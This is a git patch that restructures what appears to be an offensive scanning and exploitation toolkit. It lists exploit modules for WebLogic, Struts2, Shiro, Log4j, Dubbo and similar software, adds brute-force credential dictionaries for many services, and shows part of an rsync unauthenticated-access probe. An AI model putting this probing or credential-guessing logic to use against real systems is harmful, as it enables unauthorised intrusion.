From 9a1239c3a9a22170e8e579dc717d50201de17712 Mon Sep 17 00:00:00 2001 From: chibd2000 <1352483315@qq.com> Date: Tue, 7 Sep 2021 20:15:46 +0800 Subject: [PATCH] update: 2021.09.07 20.15 update: about cms exploit --- .idea/workspace.xml | 797 +- Common/Crawl.py | 6 +- Exploit/BaseExploit.py | 61 - Exploit/Cms/SangforEdr.py | 2 +- Exploit/CmsExploit.py | 21 +- Exploit/Service/dubbo.py | 90 +- Exploit/Service/jdwp.py | 48 +- Exploit/Service/log4j.py | 34 +- Exploit/Web/IBM.py | 11 +- Exploit/Web/JumpServer.py | 89 - Exploit/Web/cmspro.py | 67 - Exploit/Web/viewState.py | 92 - Exploit/__init__.py | 60 + .../__pycache__/BaseExploit.cpython-37.pyc | Bin 1711 -> 0 bytes .../__pycache__/BaseExploit.cpython-38.pyc | Bin 2568 -> 0 bytes Exploit/__pycache__/__init__.cpython-38.pyc | Bin 155 -> 2102 bytes Micro.py | 36 + README.md | 5 +- Spider/BaiduSpider.py | 6 +- Spider/BaseSpider.py | 113 - Spider/BeianSpider.py | 5 +- Spider/BingSpider.py | 6 +- Spider/CtfrSpider.py | 6 +- Spider/DnsBruteSpider.py | 6 +- Spider/DnsDataSpider.py | 5 +- Spider/GithubSpider.py | 5 +- Spider/JavaScriptSpider.py | 5 +- Spider/KSubDomainSpider.py | 2 +- Spider/PortSpider.py | 33 +- Spider/ThirdLib/Third.py | 36 - Spider/ThirdLib/__init__.py | 24 + .../ThirdLib/__pycache__/Third.cpython-38.pyc | Bin 1388 -> 0 bytes .../__pycache__/__init__.cpython-38.pyc | Bin 154 -> 1000 bytes Spider/__init__.py | 86 + Spider/__pycache__/BaiduSpider.cpython-38.pyc | Bin 3972 -> 3998 bytes Spider/__pycache__/BaseSpider.cpython-37.pyc | Bin 2410 -> 0 bytes Spider/__pycache__/BaseSpider.cpython-38.pyc | Bin 3674 -> 0 bytes Spider/__pycache__/BingSpider.cpython-38.pyc | Bin 3188 -> 3209 bytes Spider/__pycache__/CtfrSpider.cpython-38.pyc | Bin 2047 -> 2073 bytes .../__pycache__/DnsBruteSpider.cpython-38.pyc | Bin 1554 -> 1580 bytes .../__pycache__/DnsDataSpider.cpython-38.pyc | Bin 2503 -> 2529 bytes .../__pycache__/GithubSpider.cpython-38.pyc | Bin 3194 -> 3220 bytes Spider/__pycache__/__init__.cpython-38.pyc | Bin 154 -> 3102 bytes Test.py | 60 +- batch.py | 81 +- common/Crawl.py | 6 +- common/crawl.py | 6 + core/MyModuleLoader.py | 21 + core/{hackrequest.py => MyRequest.py} | 0 core/Mydict.py | 6 + core/Mylist.py | 6 + ...python-38.pyc => MyRequest.cpython-38.pyc} | Bin 3873 -> 3871 bytes core/__pycache__/asynchttp.cpython-38.pyc | Bin 5667 -> 5667 bytes core/asynchttp.py | 2 +- core/asyncsocket.py | 7 +- exploit/web/puyuan.py => core/dnslog.py | 2 +- core/gui/pyqt-test.py | 6 + core/utils/InformationProvider.py | 75 + .../InformationProvider.cpython-38.pyc | Bin 0 -> 2443 bytes dict/{ => cms}/body.txt | 0 dict/{ => cms}/cms_rule.txt | 0 dict/{ => cms}/data.json | 0 dict/{ => cms}/head.txt | 0 dict/{ => cms}/robots.txt | 0 dict/information/activemq_passwords.txt | 55 + dict/information/activemq_usernames.txt | 7 + dict/information/db2_passwords.txt | 54 + dict/information/db2_usernames.txt | 9 + dict/information/ftp_passwords.txt | 54 + dict/information/ftp_usernames.txt | 9 + dict/information/mysql_passwords.txt | 54 + dict/information/mysql_usernames.txt | 8 + dict/information/oracle_passwords.txt | 53 + dict/information/oracle_usernames.txt | 9 + dict/information/passwords.txt | 8256 +++++++++++++ dict/information/phpmyadmin_passwords.txt | 53 + dict/information/phpmyadmin_usernames.txt | 12 + dict/information/pop3_passwords.txt | 47 + dict/information/pop3_usernames.txt | 7 + dict/information/rabbitmq_passwords.txt | 54 + dict/information/rabbitmq_usernames.txt | 11 + dict/information/redis_passwords.txt | 34 + dict/information/rsync_passwords.txt | 67 + dict/information/rsync_usernames.txt | 6 + dict/information/smb_passwords.txt | 59 + dict/information/smb_usernames.txt | 6 + dict/information/smtp_passwords.txt | 47 + dict/information/smtp_usernames.txt | 8 + dict/information/sqlserver_passwords.txt | 55 + dict/information/sqlserver_usernames.txt | 8 + dict/information/ssh_passwords.txt | 41 + dict/information/ssh_usernames.txt | 7 + dict/information/sybase_passwords.txt | 72 + dict/information/sybase_usernames.txt | 20 + dict/information/telnet_passwords.txt | 67 + dict/information/telnet_usernames.txt | 7 + dict/information/tomcat_passwords.txt | 53 + dict/information/tomcat_usernames.txt | 10 + dict/information/user_agents.txt | 2075 ++++ dict/information/usernames.txt | 375 + dict/information/web_content_key.txt | 92 + dict/information/weblogic_passwords.txt | 5 + dict/information/weblogic_usernames.txt | 1 + dict/information/webshell_names.txt | 0 dict/information/zabbix_passwords.txt | 52 + dict/information/zabbix_usernames.txt | 6 + exploit/BaseExploit.py | 61 - exploit/CmsExploit.py | 21 +- exploit/SQLExploit.py | 11 +- exploit/ServiceExploit.py | 441 +- exploit/_AliveScan.py | 4 +- exploit/__init__.py | 60 + .../__pycache__/BaseExploit.cpython-37.pyc | Bin 1711 -> 0 bytes .../__pycache__/BaseExploit.cpython-38.pyc | Bin 2568 -> 0 bytes exploit/__pycache__/CmsExploit.cpython-38.pyc | Bin 847 -> 904 bytes exploit/__pycache__/SQLExploit.cpython-38.pyc | Bin 13720 -> 13713 bytes .../__pycache__/ServiceExploit.cpython-38.pyc | Bin 1469 -> 30745 bytes exploit/__pycache__/__init__.cpython-38.pyc | Bin 155 -> 2102 bytes exploit/__pycache__/public.cpython-38.pyc | Bin 0 -> 652 bytes exploit/cms/SangforEdr.py | 2 +- exploit/public.py | 19 + .../service/__pycache__/base.cpython-38.pyc | Bin 0 -> 215 bytes .../service/__pycache__/dubbo.cpython-38.pyc | Bin 0 -> 2458 bytes .../service/__pycache__/ftp.cpython-38.pyc | Bin 0 -> 536 bytes .../service/__pycache__/jdwp.cpython-38.pyc | Bin 0 -> 632 bytes .../service/__pycache__/log4j.cpython-38.pyc | Bin 0 -> 647 bytes .../__pycache__/memcache.cpython-38.pyc | Bin 0 -> 775 bytes .../__pycache__/mongodb.cpython-38.pyc | Bin 0 -> 855 bytes .../service/__pycache__/mssql.cpython-38.pyc | Bin 0 -> 893 bytes .../service/__pycache__/mysql.cpython-38.pyc | Bin 0 -> 767 bytes .../__pycache__/postgresql.cpython-38.pyc | Bin 0 -> 780 bytes .../service/__pycache__/rdp.cpython-38.pyc | Bin 0 -> 761 bytes .../service/__pycache__/redis.cpython-38.pyc | Bin 0 -> 2094 bytes .../service/__pycache__/rmi.cpython-38.pyc | Bin 0 -> 11110 bytes .../service/__pycache__/rsync.cpython-38.pyc | Bin 0 -> 1303 bytes .../service/__pycache__/smb.cpython-38.pyc | Bin 0 -> 813 bytes .../service/__pycache__/ssh.cpython-38.pyc | Bin 0 -> 1491 bytes .../service/__pycache__/vnc.cpython-38.pyc | Bin 0 -> 781 bytes .../__pycache__/zookeeper.cpython-38.pyc | Bin 0 -> 793 bytes exploit/service/docker.py | 27 - exploit/service/dubbo.py | 90 +- exploit/service/elasticsearch.py | 23 - exploit/service/ftp.py | 21 +- exploit/service/jdwp.py | 48 +- exploit/service/log4j.py | 34 +- exploit/service/memcache.py | 16 +- exploit/service/mongodb.py | 14 +- exploit/service/mssql.py | 30 +- exploit/service/mysql.py | 28 +- exploit/service/postgresql.py | 27 +- exploit/service/rdp.py | 25 + exploit/service/redis.py | 58 +- exploit/service/rmi.py | 168 +- exploit/service/rsync.py | 96 +- exploit/service/smb.py | 32 +- exploit/service/ssh.py | 50 +- exploit/service/vnc.py | 25 + exploit/service/zookeeper.py | 16 +- exploit/web/BackupFile.py | 120 - exploit/web/CVE-2017-12615.py | 126 - exploit/web/Editor.py | 118 - .../Editor.py => exploit/web/Editor_high.py | 0 exploit/web/IBM.py | 11 +- exploit/web/Jetspeed.py | 4 + exploit/web/JumpServer.py | 89 - exploit/web/Mail.py | 96 - .../Web/Mail.py => exploit/web/Mail_medium.py | 0 exploit/web/Nginx.py | 145 - exploit/web/activemq_high.py | 3 + exploit/web/atlassiancloud_high.py | 35 + exploit/web/axis2.py | 87 - .../Web/axis2.py => exploit/web/axis2_high.py | 0 .../web/backup_high.py | 0 exploit/web/baota.py | 87 - .../Web/baota.py => exploit/web/baota_high.py | 0 exploit/web/cmspro.py | 67 - exploit/web/codeLeak.py | 97 - .../web/codeLeak_high.py | 0 .../web/{confluence.py => confluence_high.py} | 0 .../couchdb.py => web/couchdb_high.py} | 5 +- exploit/web/docker_high.py | 19 + exploit/web/easyConnect.py | 92 - .../web/easyConnect_high.py | 0 exploit/web/emobile.py | 93 - .../emobile.py => exploit/web/emobile_high.py | 0 .../{service/hadoop.py => web/hadoop_high.py} | 13 +- exploit/web/hashicorp.py | 5 + exploit/web/jenkins.py | 5 - .../jenkins.py => exploit/web/jenkins_high.py | 0 exploit/web/jira.py | 5 - exploit/web/{yapi.py => jumpserver_high.py} | 17 +- .../jupyter.py => web/jupyter_high.py} | 0 exploit/web/kibana_high.py | 10 + .../web/nginxParse_high.py | 0 exploit/web/phpstudy.py | 74 - .../web/phpstudy_high.py | 0 .../Puyuan.py => exploit/web/puyuan_high.py | 0 exploit/web/{ruoyi.py => ruoyi_medium.py} | 2 +- exploit/web/sharepoint.py | 67 - .../web/sharepoint_high.py | 0 exploit/web/shiro.py | 85 - .../Web/shiro.py => exploit/web/shiro_high.py | 0 exploit/web/struts2.py | 202 - .../struts2.py => exploit/web/struts2_high.py | 0 exploit/web/swagger.py | 93 - .../web/swagger_medium.py | 0 exploit/web/thinkphp.py | 236 - .../web/thinkphp_high.py | 0 .../web/tomcatPutFile_high.py | 0 .../vCenter.py => exploit/web/vCenter_high.py | 0 exploit/web/viewState.py | 92 - .../web/{vCenter.py => viewState_medium.py} | 1 + .../{service/webdav.py => web/webdav_high.py} | 0 exploit/web/weblogic.py | 10229 ---------------- .../web/weblogic_high.py | 0 .../Web/yapi.py => exploit/web/yapi_high.py | 0 exploit/web/yongyou.py | 109 - .../yongyou.py => exploit/web/yongyou_high.py | 0 exploit/web/zentao.py | 108 - .../zentao.py => exploit/web/zentao_high.py | 10 +- fofatest.py | 25 + proton.com.xlsx | Bin 0 -> 12414 bytes spider/AliveSpider.py | 10 +- spider/BaiduSpider.py | 6 +- spider/BaseSpider.py | 113 - spider/BeianSpider.py | 5 +- spider/BingSpider.py | 6 +- spider/CtfrSpider.py | 6 +- spider/DnsBruteSpider.py | 6 +- spider/DnsDataSpider.py | 5 +- spider/FriendChainsSpider.py | 7 +- spider/GithubSpider.py | 5 +- spider/JavaScriptSpider.py | 5 +- spider/KSubDomainSpider.py | 2 +- spider/NetSpaceSpider.py | 10 +- spider/ParamLinkSpider.py | 3 +- spider/PortSpider.py | 33 +- spider/PortSpiderOld.py | 2 +- spider/SSLSpider.py | 5 +- spider/StructSpider.py | 5 +- spider/__init__.py | 86 + spider/__pycache__/AliveSpider.cpython-38.pyc | Bin 5321 -> 5402 bytes spider/__pycache__/BaiduSpider.cpython-38.pyc | Bin 3972 -> 3998 bytes spider/__pycache__/BaseSpider.cpython-37.pyc | Bin 2410 -> 0 bytes spider/__pycache__/BaseSpider.cpython-38.pyc | Bin 3674 -> 0 bytes spider/__pycache__/BingSpider.cpython-38.pyc | Bin 3188 -> 3209 bytes spider/__pycache__/CtfrSpider.cpython-38.pyc | Bin 2047 -> 2073 bytes .../__pycache__/DnsBruteSpider.cpython-38.pyc | Bin 1554 -> 1580 bytes .../__pycache__/DnsDataSpider.cpython-38.pyc | Bin 2503 -> 2529 bytes .../FriendChainsSpider.cpython-38.pyc | Bin 2202 -> 2233 bytes .../__pycache__/GithubSpider.cpython-38.pyc | Bin 3194 -> 3220 bytes .../JavaScriptSpider.cpython-38.pyc | Bin 5321 -> 5347 bytes .../__pycache__/NetSpaceSpider.cpython-38.pyc | Bin 12722 -> 12746 bytes spider/__pycache__/PortSpider.cpython-38.pyc | Bin 10278 -> 9950 bytes .../__pycache__/StructSpider.cpython-38.pyc | Bin 12005 -> 12031 bytes spider/__pycache__/__init__.cpython-38.pyc | Bin 154 -> 3102 bytes .../ip2domainSpider.cpython-38.pyc | Bin 2974 -> 3000 bytes spider/__pycache__/public.cpython-38.pyc | Bin 0 -> 950 bytes spider/ip2domainSpider.py | 23 +- spider/public.py | 34 + spider/thirdLib/__init__.py | 24 + .../__pycache__/__init__.cpython-38.pyc | Bin 154 -> 1000 bytes .../asyncalienvault.cpython-38.pyc | Bin 1588 -> 1627 bytes .../asyncbinaryedge.cpython-38.pyc | Bin 1695 -> 1734 bytes .../__pycache__/asyncbufferrun.cpython-38.pyc | Bin 3084 -> 3122 bytes .../__pycache__/asynccebaidu.cpython-38.pyc | Bin 1684 -> 1722 bytes .../asynccertspotter.cpython-38.pyc | Bin 1692 -> 1731 bytes .../__pycache__/asyncchaziyu.cpython-38.pyc | Bin 1695 -> 1733 bytes .../__pycache__/asyncentrust.cpython-38.pyc | Bin 1613 -> 1652 bytes .../__pycache__/asyncfht.cpython-38.pyc | Bin 1567 -> 1605 bytes .../asynchacktarget.cpython-38.pyc | Bin 1769 -> 1807 bytes .../__pycache__/asyncjldc.cpython-38.pyc | Bin 1472 -> 1510 bytes .../__pycache__/asyncqianxun.cpython-38.pyc | Bin 1925 -> 1963 bytes .../__pycache__/asyncrapiddns.cpython-38.pyc | Bin 1576 -> 1615 bytes .../asyncsitedossier.cpython-38.pyc | Bin 1580 -> 1619 bytes .../__pycache__/asyncsublistr3.cpython-38.pyc | Bin 1642 -> 1680 bytes .../asyncthreatbook.cpython-38.pyc | Bin 1551 -> 1590 bytes .../asyncvirustotal.cpython-38.pyc | Bin 1809 -> 1847 bytes .../__pycache__/asyncximcx.cpython-38.pyc | Bin 1573 -> 1612 bytes .../__pycache__/censys.cpython-38.pyc | Bin 1380 -> 1419 bytes .../__pycache__/chinaz.cpython-38.pyc | Bin 1234 -> 1273 bytes .../__pycache__/public.cpython-38.pyc | Bin 0 -> 664 bytes .../__pycache__/securitytrails.cpython-38.pyc | Bin 1451 -> 1490 bytes .../thirdLib/__pycache__/third.cpython-38.pyc | Bin 1388 -> 0 bytes spider/thirdLib/asyncalienvault.py | 5 +- spider/thirdLib/asyncbinaryedge.py | 6 +- spider/thirdLib/asyncbufferrun.py | 5 +- spider/thirdLib/asynccebaidu.py | 5 +- spider/thirdLib/asynccertspotter.py | 5 +- spider/thirdLib/asyncchaziyu.py | 5 +- spider/thirdLib/asyncentrust.py | 5 +- spider/thirdLib/asyncfht.py | 5 +- spider/thirdLib/asynchacktarget.py | 5 +- spider/thirdLib/asyncjldc.py | 5 +- spider/thirdLib/asyncqianxun.py | 5 +- spider/thirdLib/asyncrapiddns.py | 5 +- spider/thirdLib/asyncsitedossier.py | 5 +- spider/thirdLib/asyncsublistr3.py | 5 +- spider/thirdLib/asyncthreatbook.py | 5 +- spider/thirdLib/asyncvirustotal.py | 5 +- spider/thirdLib/asyncximcx.py | 5 +- spider/thirdLib/censys.py | 5 +- spider/thirdLib/chinaz.py | 5 +- spider/thirdLib/public.py | 19 + spider/thirdLib/securitytrails.py | 5 +- spider/thirdLib/third.py | 36 - tqdm_Test.py | 3 +- ttttssl.py | 5 - 308 files changed, 14676 insertions(+), 13978 deletions(-) delete mode 100644 Exploit/BaseExploit.py delete mode 100644 Exploit/Web/JumpServer.py delete mode 100644 Exploit/Web/cmspro.py delete mode 100644 Exploit/Web/viewState.py delete mode 100644 Exploit/__pycache__/BaseExploit.cpython-37.pyc delete mode 100644 Exploit/__pycache__/BaseExploit.cpython-38.pyc create mode 100644 Micro.py delete mode 100644 Spider/BaseSpider.py delete mode 100644 Spider/ThirdLib/Third.py delete mode 100644 Spider/ThirdLib/__pycache__/Third.cpython-38.pyc delete mode 100644 Spider/__pycache__/BaseSpider.cpython-37.pyc delete mode 100644 Spider/__pycache__/BaseSpider.cpython-38.pyc create mode 100644 common/crawl.py create mode 100644 core/MyModuleLoader.py rename core/{hackrequest.py => MyRequest.py} (100%) create mode 100644 core/Mydict.py create mode 100644 core/Mylist.py rename core/__pycache__/{hackrequest.cpython-38.pyc => MyRequest.cpython-38.pyc} (98%) rename exploit/web/puyuan.py => core/dnslog.py (60%) create mode 100644 core/gui/pyqt-test.py create mode 100644 core/utils/InformationProvider.py create mode 100644 core/utils/__pycache__/InformationProvider.cpython-38.pyc rename dict/{ => cms}/body.txt (100%) rename dict/{ => cms}/cms_rule.txt (100%) rename dict/{ => cms}/data.json (100%) rename dict/{ => cms}/head.txt (100%) rename dict/{ => cms}/robots.txt (100%) create mode 100644 dict/information/activemq_passwords.txt create mode 100644 dict/information/activemq_usernames.txt create mode 100644 dict/information/db2_passwords.txt create mode 100644 dict/information/db2_usernames.txt create mode 100644 dict/information/ftp_passwords.txt create mode 100644 dict/information/ftp_usernames.txt create mode 100644 dict/information/mysql_passwords.txt create mode 100644 dict/information/mysql_usernames.txt create mode 100644 dict/information/oracle_passwords.txt create mode 100644 dict/information/oracle_usernames.txt create mode 100644 dict/information/passwords.txt create mode 100644 dict/information/phpmyadmin_passwords.txt create mode 100644 dict/information/phpmyadmin_usernames.txt create mode 100644 dict/information/pop3_passwords.txt create mode 100644 dict/information/pop3_usernames.txt create mode 100644 dict/information/rabbitmq_passwords.txt create mode 100644 dict/information/rabbitmq_usernames.txt create mode 100644 dict/information/redis_passwords.txt create mode 100644 dict/information/rsync_passwords.txt create mode 100644 dict/information/rsync_usernames.txt create mode 100644 dict/information/smb_passwords.txt create mode 100644 dict/information/smb_usernames.txt create mode 100644 dict/information/smtp_passwords.txt create mode 100644 dict/information/smtp_usernames.txt create mode 100644 dict/information/sqlserver_passwords.txt create mode 100644 dict/information/sqlserver_usernames.txt create mode 100644 dict/information/ssh_passwords.txt create mode 100644 dict/information/ssh_usernames.txt create mode 100644 dict/information/sybase_passwords.txt create mode 100644 dict/information/sybase_usernames.txt create mode 100644 dict/information/telnet_passwords.txt create mode 100644 dict/information/telnet_usernames.txt create mode 100644 dict/information/tomcat_passwords.txt create mode 100644 dict/information/tomcat_usernames.txt create mode 100644 dict/information/user_agents.txt create mode 100644 dict/information/usernames.txt create mode 100644 dict/information/web_content_key.txt create mode 100644 dict/information/weblogic_passwords.txt create mode 100644 dict/information/weblogic_usernames.txt create mode 100644 dict/information/webshell_names.txt create mode 100644 dict/information/zabbix_passwords.txt create mode 100644 dict/information/zabbix_usernames.txt delete mode 100644 exploit/BaseExploit.py delete mode 100644 exploit/__pycache__/BaseExploit.cpython-37.pyc delete mode 100644 exploit/__pycache__/BaseExploit.cpython-38.pyc create mode 100644 exploit/__pycache__/public.cpython-38.pyc create mode 100644 exploit/public.py create mode 100644 exploit/service/__pycache__/base.cpython-38.pyc create mode 100644 exploit/service/__pycache__/dubbo.cpython-38.pyc create mode 100644 exploit/service/__pycache__/ftp.cpython-38.pyc create mode 100644 exploit/service/__pycache__/jdwp.cpython-38.pyc create mode 100644 exploit/service/__pycache__/log4j.cpython-38.pyc create mode 100644 exploit/service/__pycache__/memcache.cpython-38.pyc create mode 100644 exploit/service/__pycache__/mongodb.cpython-38.pyc create mode 100644 exploit/service/__pycache__/mssql.cpython-38.pyc create mode 100644 exploit/service/__pycache__/mysql.cpython-38.pyc create mode 100644 exploit/service/__pycache__/postgresql.cpython-38.pyc create mode 100644 exploit/service/__pycache__/rdp.cpython-38.pyc create mode 100644 exploit/service/__pycache__/redis.cpython-38.pyc create mode 100644 exploit/service/__pycache__/rmi.cpython-38.pyc create mode 100644 exploit/service/__pycache__/rsync.cpython-38.pyc create mode 100644 exploit/service/__pycache__/smb.cpython-38.pyc create mode 100644 exploit/service/__pycache__/ssh.cpython-38.pyc create mode 100644 exploit/service/__pycache__/vnc.cpython-38.pyc create mode 100644 exploit/service/__pycache__/zookeeper.cpython-38.pyc delete mode 100644 exploit/service/docker.py delete mode 100644 exploit/service/elasticsearch.py delete mode 100644 exploit/web/BackupFile.py delete mode 100644 exploit/web/CVE-2017-12615.py delete mode 100644 exploit/web/Editor.py rename Exploit/Web/Editor.py => exploit/web/Editor_high.py (100%) create mode 100644 exploit/web/Jetspeed.py delete mode 100644 exploit/web/JumpServer.py delete mode 100644 exploit/web/Mail.py rename Exploit/Web/Mail.py => exploit/web/Mail_medium.py (100%) delete mode 100644 exploit/web/Nginx.py create mode 100644 exploit/web/activemq_high.py create mode 100644 exploit/web/atlassiancloud_high.py delete mode 100644 exploit/web/axis2.py rename Exploit/Web/axis2.py => exploit/web/axis2_high.py (100%) rename Exploit/Web/BackupFile.py => exploit/web/backup_high.py (100%) delete mode 100644 exploit/web/baota.py rename Exploit/Web/baota.py => exploit/web/baota_high.py (100%) delete mode 100644 exploit/web/cmspro.py delete mode 100644 exploit/web/codeLeak.py rename Exploit/Web/codeLeak.py => exploit/web/codeLeak_high.py (100%) rename exploit/web/{confluence.py => confluence_high.py} (100%) rename exploit/{service/couchdb.py => web/couchdb_high.py} (92%) create mode 100644 exploit/web/docker_high.py delete mode 100644 exploit/web/easyConnect.py rename Exploit/Web/easyConnect.py => exploit/web/easyConnect_high.py (100%) delete mode 100644 exploit/web/emobile.py rename Exploit/Web/emobile.py => exploit/web/emobile_high.py (100%) rename exploit/{service/hadoop.py => web/hadoop_high.py} (61%) create mode 100644 exploit/web/hashicorp.py delete mode 100644 exploit/web/jenkins.py rename Exploit/Web/jenkins.py => exploit/web/jenkins_high.py (100%) delete mode 100644 exploit/web/jira.py rename exploit/web/{yapi.py => jumpserver_high.py} (89%) rename exploit/{service/jupyter.py => web/jupyter_high.py} (100%) create mode 100644 exploit/web/kibana_high.py rename Exploit/Web/Nginx.py => exploit/web/nginxParse_high.py (100%) delete mode 100644 exploit/web/phpstudy.py rename Exploit/Web/phpstudy.py => exploit/web/phpstudy_high.py (100%) rename Exploit/Web/Puyuan.py => exploit/web/puyuan_high.py (100%) rename exploit/web/{ruoyi.py => ruoyi_medium.py} (68%) delete mode 100644 exploit/web/sharepoint.py rename Exploit/Web/SharePoint.py => exploit/web/sharepoint_high.py (100%) delete mode 100644 exploit/web/shiro.py rename Exploit/Web/shiro.py => exploit/web/shiro_high.py (100%) delete mode 100644 exploit/web/struts2.py rename Exploit/Web/struts2.py => exploit/web/struts2_high.py (100%) delete mode 100644 exploit/web/swagger.py rename Exploit/Web/swagger.py => exploit/web/swagger_medium.py (100%) delete mode 100644 exploit/web/thinkphp.py rename Exploit/Web/thinkphp.py => exploit/web/thinkphp_high.py (100%) rename Exploit/Web/CVE-2017-12615.py => exploit/web/tomcatPutFile_high.py (100%) rename Exploit/Web/vCenter.py => exploit/web/vCenter_high.py (100%) delete mode 100644 exploit/web/viewState.py rename exploit/web/{vCenter.py => viewState_medium.py} (99%) rename exploit/{service/webdav.py => web/webdav_high.py} (100%) delete mode 100644 exploit/web/weblogic.py rename Exploit/Web/weblogic.py => exploit/web/weblogic_high.py (100%) rename Exploit/Web/yapi.py => exploit/web/yapi_high.py (100%) delete mode 100644 exploit/web/yongyou.py rename Exploit/Web/yongyou.py => exploit/web/yongyou_high.py (100%) delete mode 100644 exploit/web/zentao.py rename Exploit/Web/zentao.py => exploit/web/zentao_high.py (94%) create mode 100644 fofatest.py create mode 100644 proton.com.xlsx delete mode 100644 spider/BaseSpider.py delete mode 100644 spider/__pycache__/BaseSpider.cpython-37.pyc delete mode 100644 spider/__pycache__/BaseSpider.cpython-38.pyc create mode 100644 spider/__pycache__/public.cpython-38.pyc create mode 100644 spider/public.py create mode 100644 spider/thirdLib/__pycache__/public.cpython-38.pyc delete mode 100644 spider/thirdLib/__pycache__/third.cpython-38.pyc create mode 100644 spider/thirdLib/public.py delete mode 100644 spider/thirdLib/third.py diff --git a/.idea/workspace.xml b/.idea/workspace.xml index 1629a14..e8792e0 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -15,36 +15,20 @@ - - - - - - - - - - - + - - - - - - @@ -52,54 +36,77 @@ - - - - - - - - - - - - - - - - - + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -289,20 +398,23 @@ + + + + + - - - - + + + - @@ -317,7 +429,7 @@ - + - + - + - - + + - - - - + + + + @@ -478,21 +590,26 @@ + + + + - + - + - + @@ -574,343 +691,437 @@ - - - - - - - + - + + + - - - - + + + + Python + builtins.ConnectionResetError + + OSError + Exception + object + BaseException + builtins.ConnectionResetError + builtins.ConnectionError + + + + + + + All - - - - + - - - - - + + - - + + + + Python + ConnectionResetError + + OSError + Exception + ConnectionError + object + BaseException + ConnectionResetError + + + + + + + All + + - + - - + + - + - + - - + + - + - + + + - + - - - - - + + - + - - + + - + - + - - + + - + - - + + - + - + - - + + - + - + - - + + - - + + - + - - + + + + + - + - - - - - + + - + - - + + - + - - + + - + - - + + - + - + + + - + - - + + - + - - + + + + + - - + + - - - - + - - + + - + - + - - + + - - - - - - - - - - + - - - - - + + - - - - + - - + + - + - - + + - - - - + + + + + - + - - + + - - - - - + + - + + + + + - + + + + + + + + + + + + - + + + + + - + - - + + - + + + + + + + + + + + + + + + + + + + + + + + + - + - - + + - + - - + + - + - + + + + + + + + + + + + + + + + + + + + + + - - + + - + - + - - + + - + - - + + + + + + + + + + + + + + + + + + + + + + - - + + + + + diff --git a/Common/Crawl.py b/Common/Crawl.py index e755f74..93c2a30 100644 --- a/Common/Crawl.py +++ b/Common/Crawl.py @@ -1,4 +1,6 @@ - +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 22:14 class Crawl(object): - pass + pass \ No newline at end of file diff --git a/Exploit/BaseExploit.py b/Exploit/BaseExploit.py deleted file mode 100644 index b5231ae..0000000 --- a/Exploit/BaseExploit.py +++ /dev/null @@ -1,61 +0,0 @@ -# coding=utf-8 - -import requests -import logging -from abc import abstractmethod, ABCMeta -import re -import chardet -import os -import openpyxl -import asyncio -from common.tools import * - -requests.packages.urllib3.disable_warnings() -logging.basicConfig(level=logging.INFO, filemode='a', format="[%(levelname)s]%(asctime)s %(message)s") -abs_path = os.getcwd() + os.path.sep # 路径 - - -# filename='./Logs/worklog.txt' - -# Exp base -class Exploit(metaclass=ABCMeta): - - def __init__(self): - self.source = 'BaseExploit' # - self.domain = '' - self.headers = { - 'Accept': 'text/html,application/xhtml+xml,' - 'application/xml;q=0.9,*/*;q=0.8', - 'Accept-Encoding': 'gzip, deflate', - 'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7', - 'Cache-Control': 'max-age=0', - 'DNT': '1', - 'Referer': 'https://www.google.com/', - 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' - '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36', - 'Upgrade-Insecure-Requests': '1', - 'X-Forwarded-For': '127.0.0.1', - } - self.reqTimeout = 10 - - @abstractmethod - def exploit(self): - pass - - def writeFile(self, web_lists, page): - workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx") - worksheet = workbook.worksheets[page] - index = 0 - while index < len(web_lists): - web = list() - web.append(web_lists[index]['name']) - web.append(web_lists[index]['url']) - web.append(web_lists[index]['组件']) - worksheet.append(web) - index += 1 - workbook.save(abs_path + str(self.domain) + ".xlsx") - workbook.close() - - @abstractmethod - def main(self): - pass \ No newline at end of file diff --git a/Exploit/Cms/SangforEdr.py b/Exploit/Cms/SangforEdr.py index 65cc040..fde286f 100644 --- a/Exploit/Cms/SangforEdr.py +++ b/Exploit/Cms/SangforEdr.py @@ -20,7 +20,7 @@ def __init__(self, url, vul_list, requests_proxies): self.url = url self.vul_list = vul_list # 存储漏洞的名字和url self.proxies = requests_proxies # 代理 - self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"} + self.headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"} self.isExist = False # 检测该url是否存在漏洞,默认为False,如果测出有漏洞,则设置为True # 调用各种漏洞检测方法 diff --git a/Exploit/CmsExploit.py b/Exploit/CmsExploit.py index 0702298..f21d546 100644 --- a/Exploit/CmsExploit.py +++ b/Exploit/CmsExploit.py @@ -2,21 +2,26 @@ # @Author : zpchcbd HG team # @Time : 2021-09-02 22:30 -from exploit.BaseExploit import * +from exploit.public import * +from exploit import BaseExploit +from tqdm import tqdm -class CmsScan(Exploit): - def __init__(self, domain, queue: asyncio.Queue): +class CmsScan(BaseExploit): + + def __init__(self, domain, domainList): super().__init__() self.source = 'CmsScan' self.domain = domain - self.queue = queue + self.domainList = domainList - def exploit(self, http): - pass + # @ske + async def exploit(self): + for domain in self.domainList: + pass - def main(self): - pass + async def main(self): + await self.exploit() if '__main__' == __name__: diff --git a/Exploit/Service/dubbo.py b/Exploit/Service/dubbo.py index 5f83732..d71f63d 100644 --- a/Exploit/Service/dubbo.py +++ b/Exploit/Service/dubbo.py @@ -1,27 +1,81 @@ # coding=utf-8 +from async_timeout import timeout +from colorama import Fore +from tqdm import tqdm from exploit.service.base import * +from dubbo.codec.hessian2 import Decoder, new_object +from dubbo.client import DubboClient -# dubbo反序列化漏洞 - -def dubboScan(ip, port): +async def checkUnauth(addr): try: - s = socket.socket() - s.connect((str(_ip), 873)) - s.send(b"@RSYNCD: 31\n") - s.send(b'\n') - time.sleep(0.5) - result = s.recv(1024) - if result: - for path_name in re.split('\n', result.decode()): - if path_name and not path_name.startswith('@RSYNCD: '): - 